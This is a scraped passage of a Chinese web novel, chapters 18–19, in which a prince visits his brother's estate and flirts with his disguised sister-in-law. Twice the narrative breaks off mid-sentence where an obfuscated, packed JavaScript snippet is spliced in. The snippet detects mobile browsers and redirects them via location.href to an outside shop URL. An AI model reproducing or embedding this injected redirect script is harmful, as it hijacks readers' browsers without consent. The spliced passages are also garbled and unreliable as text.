莫利一向热衷于成为舆论的焦点,这不止带给他众星捧月的快.感,对他的政治前途也大有裨益。也正因如此他才主动结识了娱乐圈顶流麦麦汀,经常在对方的配合下一起炒作,为自己树立亲民的形象。 但这次,他却有种惨遭流量反噬的恼羞成怒感,只希望这些议论他的虫们赶紧闭嘴。 他翻出那条被自己点赞的帖子,非常干脆地将自己的点赞取消掉了。 但舆论并没有因此平息,反而愈演愈烈,他再一次登上了各大新闻头版头条,星网上关于他的话题每条后面都跟着一个“爆”的尾标。 [嘤嘤嘤,亲王为什么把给我的赞取消了,是我做错了什么吗?请殿下私信一下好好调教我,我一定积极改造。] [亲王取消点赞的背后,传达出了怎样的深意?究竟是和心爱雌虫一拍两散,还是又一次的政治炒作?] [楼上你******(系统提示:该评论由于使用攻击性言论已被系统屏蔽)] [亲王该不会是被甩了吧,可怜的亲王殿下。] [哪个大胆的雌虫胆敢让亲王失恋?站出来溜一圈,我代表第四军队把你揍趴下。] [第七军队也将贡献一份力,全帝国通缉甩了亲王的情感战犯。] [先不要盖棺定论甩了亲王的虫是雌虫,如果是雄虫的话,这件事是不是就很合理了?亲王爱上雄虫想要官宣,惨遭虫皇棒打鸳鸯,大家说我说的有没有道理?] [楼上我一棒把你打成个鸳鸯] [弱弱的说一句,亲王殿下该不会只是手滑点赞又取消赞吧。] [楼上想多了,亲王这么谨慎的虫,怎么可能手滑。] 莫利随便翻看了几条评论,看得额头青筋狂跳,干脆将光脑直接关机。 他起身走进驾驶舱关闭了飞船的自动巡航,独自坐在中央控制台前,漫无目的地驾驶着飞船。 嫂子被罗丝接走之后会做些什么呢,都说小别胜新婚,该不会已经睡在一起了吧。 联想到哥哥和嫂子亲热的画面,莫利握着方向盘的手下意识地攥紧,险些将方向盘掰断。 飞船的航行方向离家的方向越来越远,等到回过神的时候,竟然已经在罗丝公爵的府邸降落了。 18. 第 18 章 公爵府坐落在寸土寸金的首都星中心区,虽然面积不及莫利的庄园的一半,却修建得富丽堂皇,连庭院的地面都用昂贵的晶石铺砌而成,很是符合罗丝公爵奢靡的作风。 莫利和罗丝虽然是兄弟,但关系并不热络,他已经好多年没有拜访过罗丝的庄园了。 出来迎接他的是罗丝和他的一位红发雌侍。 罗丝穿着一身洁白柔软的睡衣,衣领微微敞开着,站在身材高大的雌虫身边就像一株脆弱的菟丝花。 他的这位雌侍是个长相极为张扬的雌虫,一头酒红色的头发用发圈在脑后扎成了一撮,眼睛也是猩红的颜色,像是一杯浓郁的烈酒。 罗丝显然对自己的这个雌侍十分满意,和莫利互相问候之后就迫不及待地将其引荐给莫利:“这是我的雌侍卡连,不止风趣体贴,还很会赚钱,他现在科研院上班,每个月都能帮我赚十万星币。” 话里话外带着掩饰不住的炫耀之意。 卡连微微一笑,礼貌地朝莫利伸出了手,“初次见面,莫利殿下,我是罗丝公爵的雌侍卡连。” 莫利淡淡地嗯了一声。双手交握的一瞬间,莫利隐隐约约嗅到了一丝从对方衣袖上飘来的香味,甜腻中带着一丝微微的腥。 很不同寻常的香味。 医学系毕业的莫利在学生时期接触过不少奇花异草,他很快意识到这香味有些像红色海湾花的花香。 红色海湾这种花只生长在萨拉星港口,过量吸入花香能够使虫产生幻觉或失忆,严重了甚至能致虫死亡,也因此被列入禁花名单。 还没等他再仔细辨认,卡连便把手抽走了,连带着那若有若无的香味也消失了,好像刚刚闻到的味道是他的错觉一般。 莫利若有所思地审视着面前的雌虫,而对方也泰然自若地迎着他的目光,任由他打量。 他的视线落在卡连鲜红似血的红瞳上,对方的眼神一如张扬的眸色,桀骜中带着毫不掩饰的野心。 莫利很快错开视线,笑而不语。 他听说过一些雌侍为了争宠会使用红色海湾来让雄虫更加迷恋自己,但他对罗丝家里的私事并不感兴趣。刚刚闻到的花香味道很淡,剂量应该不多,他也懒得去插手。 他现在只想知道嫂子伊莱尔在做什么。 莫利心不在焉地跟随着罗丝和卡连穿过长廊,朝着客厅的方向走去,边走边不着痕迹地留意着四周,却没有看到嫂子的身影。 “听说你把嫂子接回来了?”莫利状似不经意地问道。 提起自己的前任雌君伊莱尔,罗丝脸上露出不耐烦的表情,“是啊,虫皇突然打电话给我,说伊莱尔不是真正的凶手,已经被释放了,让我把他接回家,还劝我最好和他复婚。” 听到复婚两个字,莫利脸色微变,随即很快调整好自己的表情,淡笑道:“虫皇真是想一出是一出,哪有刚离婚就复婚的,你真要和伊莱尔复婚?” 罗丝叹了口气,“再说吧,复婚的事我还在考虑,伊莱尔终究跟了我挺久了,还怀过我的虫蛋,既然他不是连环杀虫案的凶手,那我也不能随便抛弃他。” 莫利的双手悄悄攥紧,脸上笑眯眯,心里已经开始骂脏话。 哥和嫂子竟然想复婚? 问过他意见了吗,经过他同意了吗就想复婚? 又听罗丝继续说道:“我今天就光因为伊莱尔的事烦心了,原本想和卡连去做按摩都没去成。” 话音刚落下,知情识趣的卡连便宠溺地揉了揉罗丝柔软微卷的金发,凑近罗丝耳边压低声音,“没关系的雄主,下次我再陪你去,或者我亲自给你按摩。” 罗丝肤色苍白的脸上浮现出兴奋的红晕,“就今天吧,卡连你等会儿来我房间给我按摩。” “好啊雄主,我肯定把你伺候舒服。”卡连的胳膊搭在罗丝肩膀上,将罗丝半揽在怀里,俨然一副公爵府主人的架势。 看着罗丝和卡连甜蜜恩爱的模样,莫利攥紧的手悄悄松开,紧绷的声音也变得轻松许多,“哥,我看你也别想着什么伊莱尔了,你的雌侍卡连这么优秀,还惦记着没情调的伊莱尔做什么。” “说的也是,你嫂子确实没情调,”罗丝挽着卡连的胳膊,絮絮叨叨地小声抱怨,“他但凡有卡连半分的识趣,我也不至于冷落他。” 莫利一边听着罗丝的抱怨,一边跟着对方来到了客厅。 客厅里聚集了好几位罗丝的雌侍,都在各司其职地忙碌着。 罗丝是个极其抠门的雄虫。虽然他并不缺钱,但他觉得不能让自己的雌君和雌侍们白白地住在公爵府里,这样简直就是在占他的便宜。因此他的雌虫们除了出门上班赚钱,还需要承担公爵府的佣人工作。 赚钱多的雌侍可以做一些轻松的活,比如跟在罗丝身边端茶倒水,赚钱少的则被发配去清理卫生间或者去庭院除草。 卡连最近比较受宠,被分配了管理酒窖的工作,就只需要帮罗丝整理酒柜,算是很轻松的活了。 偌大的公爵府一位佣人都没有雇佣,杂活全靠雌侍们在做,这样罗丝就可以省下雇佣仆从的钱。 接近晚饭时间,两位雌侍在安静地朝餐厅运送餐具、布置餐桌,还有几位雌侍在打扫卫生。 但其中依然没有嫂子的影子。 莫利状似无意地问道:“嫂子呢?怎么没看到他。” “刚刚我让他洗澡去了,在监狱呆那么久,都腌入味了,”罗丝说着指了指楼梯的方向,“你看,他这不是来了吗。” 话音刚落,从楼上传来下楼的脚步声,莫利循着声音看去。 只见刚洗完澡的雌虫顶着一头半干的湿发从楼梯上走了下来。 刚出狱的雌虫换下了监狱里的囚服,板正的深色制服将全身上下严密地包裹起来,发尾的水珠顺着下巴和喉结缓缓滑入衣领,将一丝不苟的衣领微微洇湿。金属扣皮质腰带束着腰,更衬得身材笔挺,腰肢劲瘦。 明明是极度严谨禁欲的装扮,落在莫利眼中却是难以言喻的性.感,让他想要扯落雌虫上衣的扣子,然后撕开包裹严密的制服窥探内里的风景。 莫利努力压下心里的躁动,直勾勾地盯着从楼上走下来的雌虫,声音不冷不热道:“呦,嫂子来了。” 欧文冷峭的视线落在莫利身上,四目相对的一瞬间似乎愣了一下,随后很快便错开了视线,神色淡漠地朝莫利行了个礼。 明明昨天还在亲密地拥抱接吻,今天却疏离得像陌生虫一样。 嫂子都被他亲过抱过了,态度竟然还这么冷淡。 莫利心里莫名不是滋味,撇过头却发现罗丝竟然也在目光灼灼地盯着嫂子出神。 莫利上前一步挡在罗丝身前,将哥嫂对视的视线隔开,沉下脸出声提醒:“哥,发什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338471|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆呢?” 罗丝回过神,若有所思地抿了抿唇,眯起的眼睛里闪过发现美味猎物的兴奋,“突然发现你嫂子好像变得有魅力了许多,可能是好久没睡他了,今天见到他突然又对他有兴致了,就像吃饭一样,哪怕是一块乏味的饼干,好久不吃了也会怀念那种滋味。” 好一个乏味的饼干。 要不是我把他保释出狱,你能吃到这块乏味的饼干吗?莫利心底涌起阴郁的情绪。 他轻飘飘地瞥了一眼欧文,不以为然地笑了笑,“我看嫂子冷冰冰的,在家还穿这么板正,还没你的雌侍卡连有情趣。” 罗丝脸上露出了别有深意的坏笑,“这你就不懂了,别看你嫂子长得冷冰冰的,床上还是挺带劲的。” 床上? 带劲? 莫利悄悄磨了磨后槽牙,垂眸看向罗丝,嘴角勾起略带嘲讽的弧度,“哦?是吗,那我将来也娶个嫂子这样的雌虫好了,这种带劲的雌虫可不能只有哥哥你尝过。” 罗丝莫名觉得莫利这话不太对味,似乎话里有话,于是狐疑地看向对方。 莫利却冲他微微一笑,笑容很浅却很真诚,仿佛完全没有一丝恶意。 莫利又将视线移到欧文身上,沿着对方锋锐的眉眼一寸寸向下,最后停在雌虫凸起的喉结。 话锋一转,意味深长道:“不过我会娶个省心一点的,如果不省心,那就得把他调教的省心一些。” 就差直接明说嫂子不省心,哥哥没调教好。 欧文听力很好,莫利和罗丝的对话一字不落地传进他耳朵里,但他的表情始终没有什么变化,此时听到莫利暗讽自己不省心,也只是淡淡地瞥了对方一眼便收回目光。 罗丝听着莫利阴阳怪气的挑唆,回想起自己的前雌君给自己惹的麻烦事,脸上有些挂不住,于是便朝着欧文扬起了下巴,阴恻恻地说道:“喂,伊莱尔,你给我惹了这么多麻烦,我要好好教训你,今天晚上我就让你下不了床。” 罗丝是典型的柔弱型雄虫,个子比在场的所有虫都矮了不少,说这话的时候,莫利、欧文以及雌侍卡连都下意识地低头去看他。 罗丝这样的身板想要靠体力让雌虫下不了床还是挺难的,除非借助一些特殊手段。 欧文的眉心几不可察地蹙了一下,转瞬便重归冷冽漠然的模样。 雄虫惩罚雌虫的手段他倒是听说过,就算是弱小的雄虫也有许多折磨雌虫的花样。虫族帝国雌多雄少,稀有的雄虫是会有这样随意处置雌虫的特权。哪怕近些年颁布了相关的雌虫保护法,私下里这样折磨雌虫的行径依旧屡禁不止。 他并没有回应罗丝的挑衅,只是一言不发地将目光撇向一旁。 欧文这副漠不在意的态度触怒了罗丝,他的脸憋得通红,高高扬起了手朝欧文的脸甩去。 然而预想中的巴掌却并没有落下。 罗丝的手腕在半空中被莫利握住,纤瘦的手腕被莫利攥出了一圈醒目的红痕。 “莫利,你这是做什么!”罗丝诧异地惊呼,显然他并没有想到自己的弟弟竟然会阻拦自己教训雌虫。 莫利松开罗丝的手腕,双手插回兜里,绿眸中浮现出温柔的笑意,“哥,我今天来你家是来蹭饭的,不是来看你教训雌君的。” 欧文看向身旁为自己拦下巴掌的莫利,漠然的神情终于有了一丝松动。 19. 第 19 章 虽然不明白一向不爱多管闲事的莫利为何这次要介入,但罗丝对自己的这个笑面虎弟弟一向有些犯怵,只得悻悻地收回了自己挥出去的巴掌。 别看他这个弟弟总是一副温和礼貌的样子,实际上心思难以捉摸得很,得罪他的虫从来都没有好下场。 罗丝曾经也有过想要争夺皇位继承权的想法,但每次只要他手中的势力起了苗头,便会被莫利不动声色地绞杀,久而久之,他便只能安分地做皇室的菟丝花。 这次对方插手不让自己教训雌君,罗丝只得暂时把教训雌君的事情搁置在了一旁。 他阴森地盯着欧文,命令道:“你去做饭,晚上我再好好收拾你。” 罗丝的家里没有雇佣帮佣,家务活全部都由雌君和雌侍们承担,而之前的雌君伊莱尔就是专职负责给罗丝做饭的。 欧文在伪装成伊莱尔之前专门做过调查,知道伊莱尔擅长烹饪。所幸他也会做饭,不至于露馅。 欧文转身刚想去厨房,又被罗丝叫住,“等一下,我还没有交代晚餐的注意事项。” 罗丝在吃饭方面非常讲究,往沙发上一坐就长篇大论地交代起了今晚的晚餐的注意细节,“我今晚要吃迷罗果,蓝叶甜菜,还有鸡蛋,另外甜品也要记得准备,我最近想吃甜食,食物要做成七分熟,不然影响口感……” 罗丝事无巨细地交代了半天之后,趾高气扬地问欧文:“你记住了吗?” 欧文非常冷淡地嗯了一声。 罗丝又扭头问莫利:“莫利,你想吃什么,我让你嫂子去做,你不用客气。” 莫利心思并不在吃饭上,也并不认为自己这位冷冰冰的嫂子能做出美味的饭菜,于是随口说道:“随便做道海鲜吧。” 罗丝啧啧两声:“莫利,你还是这么爱吃海鲜。” 莫利笑而不语,目光追随着欧文走向厨房的背影。 罗丝接着便邀请莫利一起去餐厅等候用餐,而卡连由于近来受宠,也得以陪侍在罗丝身旁。 罗丝似乎还记挂着刚刚莫利暗讽他没把雌虫调.教好的事,有意给自己找回面子,于是便向莫利炫耀起自己调教雌虫的手段。 “我的每个雌虫都对我忠心耿耿,”罗丝双臂支在餐桌上,双手拖着脸颊,清秀的脸上露出隐隐得意,“莫利,你知道为什么他们为什么都对我这么忠诚吗?因为全被我教训服了。” 忠诚? 莫利嘴角噙着一抹若有似无的笑意,好奇道:“嫂子也对你很忠诚吗?” 罗丝非常自信地点头,“伊莱尔虽然总是给我惹麻烦,但他爱我的心还是毋庸置疑的,不然我也不会只让他怀上我的虫蛋,别的虫想给我生虫蛋我都还要考虑一下。” 似乎是又回忆起自己这位前任雌君的好处,罗丝脸上流露出一丝怀念,“他刚来到我身边的时候还什么都不懂,全是我一点一点教他,这次离婚也是迫不得已,等过段时间风头过了我就和他复婚。” 莫利默默品味着罗丝说的话,沉默片刻,忽而面露疑惑:“哥,你看嫂子他刚刚那副冷冰冰的样子,你说什么他都不听,那分明是在摆脸色给你吧,哪有一点尊敬你的样子,他很爱你吗,根本看不出来啊。” 罗丝嘴角抽搐,脸色有些不好看。刚刚他那前雌君确实有些不服管教,让他在莫利面前丢了面子。 莫利又继续说:“他如今能给你惹麻烦,难保以后不会惹更大的麻烦,和这种雌虫复婚,说不定将来怎么拖累你。” 刚刚还信誓旦旦说要和伊莱尔复婚的罗丝瞬间动摇了。手指在桌面上一下一下地轻点着,似乎是在犹豫到底要不要彻底抛弃自己的前雌君。 他是可以给伊莱尔一个家,但前提是对方不能拖累自己。 心烦意乱的罗丝絮絮叨叨地抱怨了起来,一会儿埋怨伊莱尔越来越不懂事,一会儿又说到虫皇不理解自己。 莫利起初还不走心地敷衍他两句,渐渐地便有些心不在焉,没多久便以上厕所为由离开了餐厅。 走出餐厅后,莫利却没去厕所,而是暗搓搓摸进了厨房。 厨房门开着,莫利刚走到门口就闻到了食材的香味,也一眼便看到了正在厨房忙碌的嫂子。 欧文背对着他站在水槽前,制服外套被脱下来挂在门把手上,衬衣挽到手肘,露出线条精悍的手臂。 他垂着眼正在洗菜,水流浇在菜叶上,又顺着骨节分明的手指滑落。 听到莫利靠近的脚步声,欧文并未回头,只是平静地抬眸看了眼面前的玻璃窗,那上面正倒影出的莫利逐渐走近的身影。 欧文很快便收回目光,像什么都没看到一样,垂眸继续洗菜。 莫利走到欧文身后,看着对方修长的手指在菜叶上搓洗,然后将洗好的菜丢进一旁的菜篮里,动作十分干净利落。 “洗菜呢,嫂子?”莫利轻声说。 欧文动作顿了一下,“是的殿下,您先去餐厅吧,晚饭马上就好。” 莫利却赖着不肯走,背靠着料理台跟嫂子打起了小报告,“嫂子,你都不知道我哥有多过分,他竟然说你摆脸色给他看,一点也不尊敬他,还说你只会给他惹麻烦。” 莫利一边说一边不着痕迹地观察着欧文的表情,在看到对方并没有什么情绪起伏后,他又继续火上浇油,“我哥竟然说你不如卡连,啧啧啧,真是过分,哪有这么说自己的雌君的,他这是有了新欢就忘了旧爱,如果换了我绝对不会这么对你。” 莫利的声音越来越温柔,他倾身凑近欧文,伸手握住对方正在搓洗蔬菜的手,“在我眼里,嫂子比卡连好太多。” 水流浇在彼此交握的手上,细密的水珠顺着指缝淅淅沥沥滑落。沾了水的手湿润中透着凉意,莫利不自觉地握紧。 欧文错愕地看向莫利,而莫利则目光灼灼地回望着他。 欧文错开视线,像被烫到一样迅速抽回手,将水龙头拧上,随即板着脸严肃道:“殿下,这是在罗丝公爵家里,我们需要保持距离。” 莫利轻笑,“嫂子为什么对我这么冷漠,都说长嫂如夫,你作为嫂子,就是这么对小叔子的?” 欧文转过身面对着莫利,严谨地纠正,“是长嫂如父,殿下。” “好,你说的对,”莫利一点点地朝欧文凑近,在对方耳边低低笑道,“那我现在只想要父亲温暖的拥抱。” 他抬起双臂环住欧文的腰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338472|199280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非常自然地拥抱住对方。玻璃窗上的两道影子也随之交.叠在一起。 水龙头上悬挂的残留的水珠坠落在水槽里,荡开一圈又一圈的涟漪。 厨房的吊灯洒下带着冷意的光,投射进欧文震颤的瞳孔里,他的身子僵住,一时间忘记了反抗。 温热的温度隔着衣服的布料传来,安静的环境中连心跳声都被放大。亲王在用脸颊轻轻蹭着他的,从发丝传来清雅的洗发液清香。 他稍微侧过头,便看到莫利无暇的侧脸。 过了很久,欧文才缓慢地挤出一句话,“这可是在您哥哥家里。” “你小点声不就好了,”莫利双手隔着衣服扶过欧文笔直的脊背线条,一路上滑,轻轻揉捏对方的肩峰,“你知道什么是拥抱吗,当我抱你的时候,你也要抱住我,这才是拥抱。” 欧文看着窗户上倒映的彼此紧贴的两道影子,眼中闪过挣扎。 他想要将莫利推开,而莫利脸上却露出落寞的神情,“嫂子,你不抱抱我吗?我好伤心。” 雄虫绿宝石般明亮的眼睛里笼罩上了朦胧的雾气,金色的睫羽也垂了下来,似乎只要他再多说一句话,雄虫便会心碎欲裂。 欧文冷硬的心脏轻颤了一下。 这样的雄虫,没有任何雌虫能够抗拒,也没有雌虫能够狠下心让他伤心。只要他想要,所有雌虫都会心甘情愿地为他臣服。 莫利温柔的声音清晰地落在他的耳边,“没关系的嫂子,只是拥抱一下,我哥不会怪你的。” 轻柔磁性的声音充满了蛊惑的味道,像是一张为他张开的蛛网,引诱着他自投罗网。 温柔美丽的雄虫只是想要一个拥抱。 欧文的瞳孔渐渐变成危险的竖瞳,黑眸中翻涌着幽深的晦暗,隐忍的冲.动像潮水一般蔓延,似要把所有理智都淹没。 他试探着抬起手,缓慢地回抱住莫利。 厨房门敞开着,不知何时就会有别的虫突然闯进来,然后就会发现他们禁.忌的关系。而两具身体却毫无顾忌地彼此相拥。 “我想亲你。”莫利说。 欧文像是受到了蛊惑,一点点的朝着莫利的嘴唇凑近。 在即将亲吻上的一刹那,莫利却后撤一步,推开了他,“嫂子你在做什么,你忘了这是在我哥家里?” 欧文怔住,瞬间清醒了过来,黑眸中压抑的冲动褪去,取而代之的是难言的错愕和羞愧。 莫利慢条斯理地理了一下刚刚被压出褶皱的衣领,似笑非笑道:“我好心来看嫂子做饭做的怎么样,没想到嫂子竟然想抱着我亲。” 空虚寂寞冷的嫂子真是不得了。 欧文张嘴似要辩解,但看着莫利隐隐得意的神情,最后还是撇过头什么都没说,薄唇微抿,耳根却悄悄红了。 莫利视线凝在欧文冷锐的侧脸,碎发将耳朵盖住,却还是能透过缝隙看到耳垂上鲜红的颜色。 这个雌虫总是话很少,表情也很少,哪怕此时窘迫的处境下面色也没有什么变化,唯独耳根处颜色的变化能看出他的情绪起伏。 莫利温和的眼底漫开愉悦的光,“嫂子,你好好做饭吧,我喜欢吃海鲜,你多做点。”